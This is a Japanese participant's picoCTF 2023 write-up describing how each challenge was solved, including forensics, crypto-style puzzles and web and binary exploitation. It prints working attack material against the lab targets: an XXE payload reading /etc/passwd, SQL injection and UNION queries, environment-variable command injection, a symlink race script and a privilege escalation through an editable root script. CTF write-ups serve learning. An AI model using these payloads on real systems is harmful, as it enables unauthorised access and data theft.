picoCTF 2023に参加し、 5200/9300 points, 306th/6924 でした。今回も手元にメモを取りながら解いたのでwrite-upです。
順番は基本的に取り組んだ順になっていて、特に意味はありません。
chrono
How to automate tasks to run at intervals on linux servers?
何をしたら良いのかわからず、l s-l / したら /challenge ディレクトリがあり、metadata.json があったのでcatしたらフラグが書いてあった。非想定解な気がする…
findme
Help us test the form by submiting the username as test and password as test!
test:test! でログインしてテストに協力してくれ、という感じの問題。ログインするといくつかリダイレクトされて検索フォームのようなものに辿り着く。その際のidパラメータを見るとbase64っぽい値になっている。それらをくっつけてデコードすればよい。
hideme
Every file gets a flag.
The SOC analyst saw one image been sent back and forth between two people. They decided to investigate and found out that there was more than what meets the eye here.
与えられたファイルをstringsで見てみると、secret/flag.png という明らかに怪しいモノが見つかる。が、元の画像のURLをこれに改変するタイプではなかった。
バイナリエディタで眺めると、謎のパターンの繰り返しのあとにPK..が出てくる。50 4B 03 04なのでZIP。オフセットは9B3B=39739なので
dd if=flag.png of=out.zip skip=39739 bs=1
で切り出す。secret/flag.png にフラグが画像で含まれている。
他の人のwrite-upで知りましたが、binwalkを使うのが手っ取り早かったようです。勉強になりました。
HideToSee
How about some hide and seek heh?
Look at this image here.
atbashということはわかるものの、何をatbash変換すれば良いのかが分からずに困惑した問題。
青空白猫で開いて見ると、steghideの可能性ありと表示される。するとatbash変換されたフラグ文字列がでてくるので、cyberchefでatbash変換をかければOKだった。
MatchTheRegex
How about trying to match a regular expression
アクセスすると提出フォームらしきモノが置いてある。
ソースを見るとfetchでフラグを取得しようとしているが、ソースコードに「// ^p.....F!?」と書いてある。
どうやらこれにマッチする正規表現を入れれば良いらしいので、入力する値はpicoCTFでOKだった。
money-ware
Flag format: picoCTF{Malwarename}
The first letter of the malware name should be capitalized and the rest lowercase.
Your friend just got hacked and has been asked to pay some bitcoins to 1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX. He doesn’t seem to understand what is going on and asks you for advice. Can you identify what malware he’s being a victim of?
上記ウォレットアドレスを検索すると、これが Petya によるものであるという記事が出てくる。picoCTF{Petya} でよい。
PcapPoisoning
How about some hide and seek heh?
Download this file and find the flag.
pcapファイルが提供されるのでwiresharkで開く。
507番目のデータにおもむろにフラグが書いてある。
Permissions
Can you read files in the root file?
これもmetadata.json がそのまま読めてしまって困惑した問題。たぶん読込パーミッションが付いてるから読めるとかそういう意図だった気がする…
ReadMyCert
How about we take you on an adventure on exploring certificate signing requests
Take a look at this CSR file here.
CSRが提供される。証明書のCNにフラグが書いてある。
$ openssl req -in readmycert.csr -text -noout | fgrep -i pico
Subject: CN = picoCTF{read_mycert_3aa80090}, name = ctfPlayer
repetitions
Can you make sense of this file?
6回base64 --decodeするか、CyberChefで6回デコードするとフラグが出てくる。
Reverse
Try reversing this file? Can ya?
I forgot the password to this file. Please find it for me?
stringsで見るとズバリ書いてある。
rotation
You will find the flag after decrypting this file
名前からしてROTxxっぽいので、CyberChefに入れてROT13を適用、AmountをいじっていくとROT18でフラグが出てくる。
Rules 2023
Read the rules of the competition and get a little bonus!
飛ばされるページのソースに、altで書いてある。
$ curl https://picoctf.org/competitions/2023-spring-rules.html | fgrep 'picoCTF{'
Safe Opener 2
What can you do with this file?
I forgot the key to my safe but this file is supposed to help me with retrieving the lost key. Can you help me unlock my safe?
これもstringsで見ると書いてある。
The web project was rushed and no security assessment was done. Can you read the /etc/passwd file?
リクエストを見てみると、XMLでリクエストを送っていることが分かる。のでXXEでLFIできそう。ブラウザが送っているリクエストをbash-cURLでコピーして、ペイロードにXXEを仕込んで送るとIDの部分に/etc/passwdの内容が含まれて返ってくる。
curl 'http://saturn.picoctf.net:59814/data' \
-H 'Accept: */*' \
-H 'Accept-Language: ja' \
-H 'Cache-Control: no-cache' \
-H 'Connection: keep-alive' \
-H 'Content-Type: application/xml' \
-H 'DNT: 1' \
-H 'Origin: http://saturn.picoctf.net:59814' \
-H 'Pragma: no-cache' \
-H 'Referer: http://saturn.picoctf.net:59814/' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36' \
--data-raw '<!DOCTYPE data [
<!ENTITY secretData SYSTEM "file:///etc/passwd">
]>
<data><ID>&secretData;</ID></data>' \
--compressed \
--insecure
timer
You will find the flag after analysing this apk
apkが提供されるのでとりあえずunzip.
$ fgrep -ir picoCTF *
Binary file classes3.dex matches
$ strings classes3.dex | fgrep picoCTF
useless
There's an interesting script in the user's home directory
uselessコマンドが置いてある。見てみると、manを見ろという記述があるので man useless すると最後の方に書いてある。
Virtual Machine 0
Can you crack this black box?
We grabbed this design doc from enemy servers: Download. We know that the rotation of the red axle is input and the rotation of the blue axle is output. The following input gives the flag as output: Download.
Collada形式のオブジェクトが提供される。Blenderで開いて、文字通りブラックボックスの中身を確認すると、赤軸側から、歯数が40-8-8のギアになっている。つまり入力の赤軸を1回転させると出力の青軸が5回転する。
入力は 39722847074734820757600524178581224432297292490103995916782275668358702105 なので、これを5倍して 198614235373674103788002620892906122161486462450519979583911378341793510525 が出力になる。long_to_bytes処理をかける（CyberChefでToBase(16), FromHex)とフラグが得られる。
who is it
Someone just sent you an email claiming to be Google's co-founder Larry Page but you suspect a scam.
Can you help us identify whose mail server the email actually originated from?
Download the email file here. Flag: picoCTF{FirstnameLastname}
emlファイルが提供される。
Received-SPF: pass (google.com: domain of lpage@onionmail.org designates 173.249.33.206 as permitted sender) client-ip=173.249.33.206;
の記載があるので、whoisでこのIPアドレスを引くと Person: Wilhelm Zwalina の記載がある。
picoCTF{WilhelmZwalina} でよい。
FindAndOpen
Someone might have hidden the password in the trace file.
Find the key to unlock this file. This tracefile might be good to analyze.
暗号化されたflag.zipとdump.pcapが提供される。
pcapを開くと、Ethernet IIのフレームに平文でテキストが書いてある。
- Flying on Ethernet secret: Is this the flag
- iBwaWNvQ1RGe1Could the flag have been splitted?
- AABBHHPJGTFRLKVGhpcyBpcyB0aGUgc2VjcmV0OiBwaWNvQ1RGe1IzNERJTkdfTE9LZF8=
- PBwaWUvQ1RGesabababkjaASKBKSBACVVAVSDDSSSSDSKJBJS
- PBwaWUvQ1RGe1Maybe try checking the other file
AABBのものだけBase64っぽい。Dataの部分だけ(VG以降)見てみるとBase64で展開できる。
This is the secret: picoCTF{R34DING_LOKd_
picoCTF{R34DING_LOKd_ がパスワードで、flag.zipが展開できる。それはちょっとずるいと思った。（フラグっぽい文字列が他のとどう繋がるのかかなり探してしまった）
hijacking
Getting root access can allow you to read the flag. Luckily there is a python file that you might like to play with.
Through Social engineering, we've got the credentials to use on the server. SSH is running on the server.
$ cat .server.py
import base64
import os
import socket
ip = 'picoctf.org'
response = os.system("ping -c 1 " + ip)
host_info = socket.gethostbyaddr(ip)
host_info_to_str = str(host_info[2])
host_info = base64.b64encode(host_info_to_str.encode('ascii'))
print("Hello, this is a part of information gathering",'Host: ', host_info)
pingコマンドを打って、gethostbyaddrしたり色々したりする謎のスクリプトになっている。
sudoでなにができるか確認すると
$ sudo -l
Matching Defaults entries for picoctf on challenge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User picoctf may run the following commands on challenge:
(ALL) /usr/bin/vi
(root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py
/usr/bin/vi がrootで起動できるし、上記のスクリプトをrootで実行することもできることがわかる。
なので、
-response = os.system("ping -c 1 " + ip)
+response = os.system("chmod -R 777 /challenge; echo " + ip)
こうして実行してやれば /challengeに移動してmetadata.jsonを表示できる。
More SQLi
Can you find the flag on this website.
ログインページが表示されるので、適当に入力してみる。
username: unko!
password: UNKO!!!
SQL query: SELECT id FROM users WHERE password = 'UNKO!!!' AND username = 'unko!'
とりあえず user = password = ' OR 1 = 1; -- でログインできる。
すると検索画面のような表示になる。Cityに%を入れると全件出てきて、Algiersと入力するとそのエントリだけ表示される。というわけでLIKEしているっぽい。
A' OR 1 = 1 --
で全件表示できているが、フラグらしきモノは見つからない。
Kampala Maybe all the tables +256 720 7705600
というのが怪しい。他の情報を漏らさせたいのでUNIONを使って探していく。
%' UNION SELECT 1, name, 3 FROM sqlite_master where type='table'; --
とすると、hints, more_table というテーブルが存在することが分かる。
%' UNION SELECT 1, sql, 3 FROM sqlite_master where name='more_table'; --
CREATE TABLE more_table (id INTEGER NOT NULL PRIMARY KEY, flag TEXT)
id, flagという2つのカラムがあるようなので、
%' UNION SELECT *, 3 from more_table; --
でflagが得られる。
MSB
This image passes LSB statistical analysis, but we can't help but think there must be something to the visual artifacts present in this image...
青空白猫で開き、ビット抽出→RGBのMSBのみチェック。テキストが表示されるので中にフラグが書いてある。
No way out (not solved)
Put this flag in standard picoCTF format before submitting. If the flag was h1_1m_7h3_f14g submit picoCTF{h1_1m_7h3_f14g} to the platform.
Windows game, Mac game
Unity問っぽい。AssetStudioで眺めても見当たらなかった。後回しにしているうちに終わってしまった。
dnSpyを使ってやるのが良かったようです。
tic-tac
Someone created a program to read text files; we think the program reads files with root privileges but apparently it only accepts to read files that are owned by the user running it.
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
return 1;
}
std::string filename = argv[1];
std::ifstream file(filename);
struct stat statbuf;
// Check the file's status information.
if (stat(filename.c_str(), &statbuf) == -1) {
std::cerr << "Error: Could not retrieve file information" << std::endl;
return 1;
}
// Check the file's owner.
if (statbuf.st_uid != getuid()) {
std::cerr << "Error: you don't own this file" << std::endl;
return 1;
}
// Read the contents of the file.
if (file.is_open()) {
std::string line;
while (getline(file, line)) {
std::cout << line << std::endl;
}
} else {
std::cerr << "Error: Could not open file" << std::endl;
return 1;
}
return 0;
}
statの結果チェックとgetlineの間にうまく対象ファイルをすげ替えてやることでTOCTOUが成立しそうに見えるので、
#!/bin/bash
while true; do
rm -f ln.txt
touch ln.txt
ln -fs flag.txt ln.txt
done;
しながら
(while true; do ./txtreader ln.txt ; done) 2>&1 | grep -v Error
しておくとそのうち成立してフラグが表示される。
VNE
We've got a binary that can list directories as root, try it out !!
~/bin にstickyなファイルが置いてある。
$ ./bin
Error: SECRET_DIR environment variable is not set
SECRET_DIR を指定すると読み出してくれそう。
$ SECRET_DIR=/root ./bin
Listing the content of /root as root:
flag.txt
試しにセミコロンで区切ってコマンドを書いてやると素直に実行される。
$ SECRET_DIR="-laF /root; cat /root/flag.txt" ./bin
Listing the content of -laF /root; cat /root/flag.txt as root:
total 12
drwx------ 1 root root 22 Mar 16 01:59 ./
drwxr-xr-x 1 root root 51 Mar 19 05:07 ../
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw------- 1 root root 41 Mar 16 01:59 flag.txt
picoCTF{Power_t0_man!pul4t3_3nv_19a6873b}
Invisible WORDs
Do you recognize this cyberpunk baddie? We don't either. AI art generators are all the rage nowadays, which makes it hard to get a reliable known cover image. But we know you'll figure it out. The suspect is believed to be trafficking in classics. That probably won't help crack the stego, but we hope it will give motivation to bring this criminal to justice!
バイナリを眺めると、00が続いたあとにPKが見える。がZIPヘッダーではない…ように見えて、2バイト後に03 04という本来のZIPヘッダーが来る。
オフセットまで読み飛ばしてから、2バイトずつ読んで保存して次の2バイトを読み捨てる処理をPythonで実装。
skip_bytes = 0x8c
with open("output.bmp", "rb") as f:
f.read(skip_bytes)
with open("result.zip", "wb") as out:
bytes_read = f.read(2)
while bytes_read:
out.write(bytes_read)
f.read(2)
bytes_read = f.read(2)
そのままでは破損したデータとなっているので、修復してから展開する。
$ zip -FF result.zip --out fixed.zip
Fix archive (-FF) - salvage what can
zip warning: Missing end (EOCDR) signature - either this archive
is not readable or the end is damaged
Is this a single-disk archive? (y/n): y
Assuming single-disk archive
Scanning for entries...
copying: ZnJhbmtlbnN0ZWluLXRlc3QudHh0 (169392 bytes)
Central Directory found...
EOCDR found ( 1 169576)...
展開すると ZnJhbmtlbnN0ZWluLXRlc3QudHh0 というテキストファイルが出てきて、その中にフラグが書かれている。
Special
Don't power users get tired of making spelling mistakes in the shell? Not anymore! Enter Special, the Spell Checked Interface for Affecting Linux. Now, every word is properly spelled and capitalized... automatically and behind-the-scenes! Be the first to test Special in beta, and feel free to tell us all about how Special streamlines every development process that you face. When your co-workers see your amazing shell interface, just tell them: That's Special (TM)
接続すると、独自シェルっぽい何かが動いているように見える。試しにそのままEnterを押すと
Special$
Traceback (most recent call last):
File "/usr/local/Special.py", line 19, in <module>
elif cmd[0] == '/':
IndexError: string index out of range
~を送ってみると、シェル文字展開が行われた上で実行しようとしているような挙動に見える。
Special$ ~
~
sh: 1: /home/ctf-player: Permission denied
とりあえずhomeから遡って/bin/lsを呼んでみると、ちゃんと取得できる。
Special$ ~/../../bin/ls /
~/../../bin/ls /
bin challenge etc lib lib64 media opt root sbin sys usr
boot dev home lib32 libx32 mnt proc run srv tmp var
homeを見てみると、何かがあるので辿っていくとフラグが置いてある。
Special$ ~/../../bin/ls /home/ctf-player
~/../../bin/ls /home/ctf-player
blargh
Special$ ~/../../../bin/cat /home/ctf-player/blargh
~/../../../bin/cat /home/ctf-player/blargh
/home/ctf-player/../../../bin/cat: /home/ctf-player/blargh: Is a directory
Special$ ~/../../bin/ls /home/ctf-player/blargh
~/../../bin/ls /home/ctf-player/blargh
flag.txt
Special$ ~/../../../bin/cat /home/ctf-player/blargh/flag.txt
~/../../../bin/cat /home/ctf-player/blargh/flag.txt
picoCTF{5p311ch3ck_15_7h3_w0r57_3befb794}
Specialer
Reception of Special has been cool to say the least. That's why we made an exclusive version of Special, called Secure Comprehensive Interface for Affecting Linux Empirically Rad, or just 'Specialer'. With Specialer, we really tried to remove the distractions from using a shell. Yes, we took out spell checker because of everybody's complaining. But we think you will be excited about our new, reduced feature set for keeping you focused on what needs it the most. Please start an instance to test your very own copy of Specialer.
lsなどが封じられているので、組み込みシェルコマンドだけで探し回る。* がカレントフォルダの全ファイルにマッチすることや、readコマンドなどを活用すればよい。
Specialer$ echo *
abra ala sim
Specialer$ cd abra
Specialer$ echo *
cadabra.txt cadaniel.txt
Specialer$ read -rd '' file < cadabra.txt ; echo "$file"
Nothing up my sleeve!
Specialer$ read -rd '' file < cadaniel.txt ; echo "$file"
Yes, I did it! I really did it! I'm a true wizard!
Specialer$ cd ..
Specialer$ cd ala
Specialer$ echo *
kazam.txt mode.txt
Specialer$ read -rd '' file < kazam.txt ; echo "$file"
return 0 picoCTF{y0u_d0n7_4ppr3c1473_wh47_w3r3_d01ng_h3r3_a8567b6f}
babygame01
(descはメモし忘れ)
マップとして2700バイト確保されている領域の手前にフラグ変数があり、かつ境界チェックがないので原点(0,0)からさらに戻れる。
スタート地点(4,4)から(0,0)に戻り、さらに4つ左に移動するとフラグ変数が上書きできるので、その後pコマンドでゴールする。
aaaawwwwaaaap
babygame02
(descはメモし忘れ)
win()が0804975dにある。
PIEなし、Stack Canaryなしなのでreturn addressをここに書き換えればwin()が呼べることになる。
Ghidraで眺めたりデバッガを仕込んだりして、move_player()のreturn addressの位置を探すと、マップ領域の-39バイト目にあたることがわかる。
win()は0x0804975d = 5D 97 04 08でreturn addressは0x08049709 = 09 07 04 08 なので、先頭の09を5Dに書き換えればよい。
l<char>というコマンドを使うと、マップのその位置にcharの値を書き込むことができるので、これを使ってreturn addressを書き換える。
move_player()の動作として1バイトしか書き換えられないこと、愚直に原点(0,0)から戻ると途中の領域を破壊してしまうことに注意が必要。
目的の場所の下の行まで移動してからwで上の行にうつり、ピンポイントにその1バイトだけ書き換えればよい。5D = ]なので、l]コマンドで文字を書き換えてから上の行に移ればOK。
…と思ったが、なぜか本番サーバに繋いで実行するとうまくいかない。win()にはNOPが並んでいるので、そこに着地するように他の文字で書き換えてやると通った。理由はよくわからない。。。
wwwwdddddddddddddddddddddddddddddddddddddddddddddddlow
Ready Gladiator 0
Can you make a CoreWars warrior that always loses, no ties?
Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the
core warsで必ず敗北するプログラムを書け、というもの。
chatGPTに聞いたら無限にぬるぽすれば負けられるらしいのでそのようにする。
;redcode
;name Imp Ex
;assert 1
mov #0, @0
dat #0, #0
end
Ready Gladiator 1
Can you make a CoreWars warrior that wins?
Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this:
To get the flag, you must beat the Imp at least once out of the many rounds.
1回は勝てるようにしないといけないらしい。ググるとドワーフが紹介されているのでそれを使わせてもらう。
;redcode
;name dwarf
;assert 1
ADD #4, 3
MOV 2, @2
JMP -2
DAT #0, #0
end
Ready Gladiator 2
Can you make a CoreWars warrior that wins every single round?
Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this:
今度はもっと勝率を上げないといけないらしい。ググるとImp killerとして下記が紹介されている。
gate equ example-10
example spl 0,<gate
dat <gate
two-sum
n1 > n1 + n2 OR n2 > n1 + n2
What two positive numbers can make this possible
n1 > (n1 + n2) を成り立たせるためには、オーバーフローさせてやればよい。
n1 > n1 + n2 OR n2 > n1 + n2
What two positive numbers can make this possible:
2000000000
2000000000
You entered 2000000000 and 2000000000
You have an integer overflow
Java Code Analysis!?! (not solved)
BookShelf Pico, my premium online book-reading service.
I believe that my website is super secure. I challenge you to prove me wrong by reading the 'Flag' book!
JWTを使っていて、roleをPATCHで上書きしてやればいけるっぽい。問題はJWSの署名部分で、秘密鍵を入手する必要がある。
ここで面倒になって諦めてしまったが、実際には秘密鍵は平文でハードコードされていた。悲しみ。
UnforgottenBits (not solved)
Download this disk image and find the flag.
第3パーティションがext4で、homeの下に色々と怪しいログがあるっぽいことがわかる。
--- 2410 home/yone/Maildir/cur/1673722272.M350117P394146Q2.haynekhtnamet:2,S
--- 2362 home/yone/Maildir/cur/1673722272.M376010P394146Q6.haynekhtnamet:2,S
この2ファイルが怪しそうだったが、うまく復元してやれず諦め。
感想
ﾌﾟﾌﾟｰあの人博士号持ってるのにcrypto問全然解けてないじゃないですか（笑）って言われてもぐうの音も出ない結果となりました。精進します。
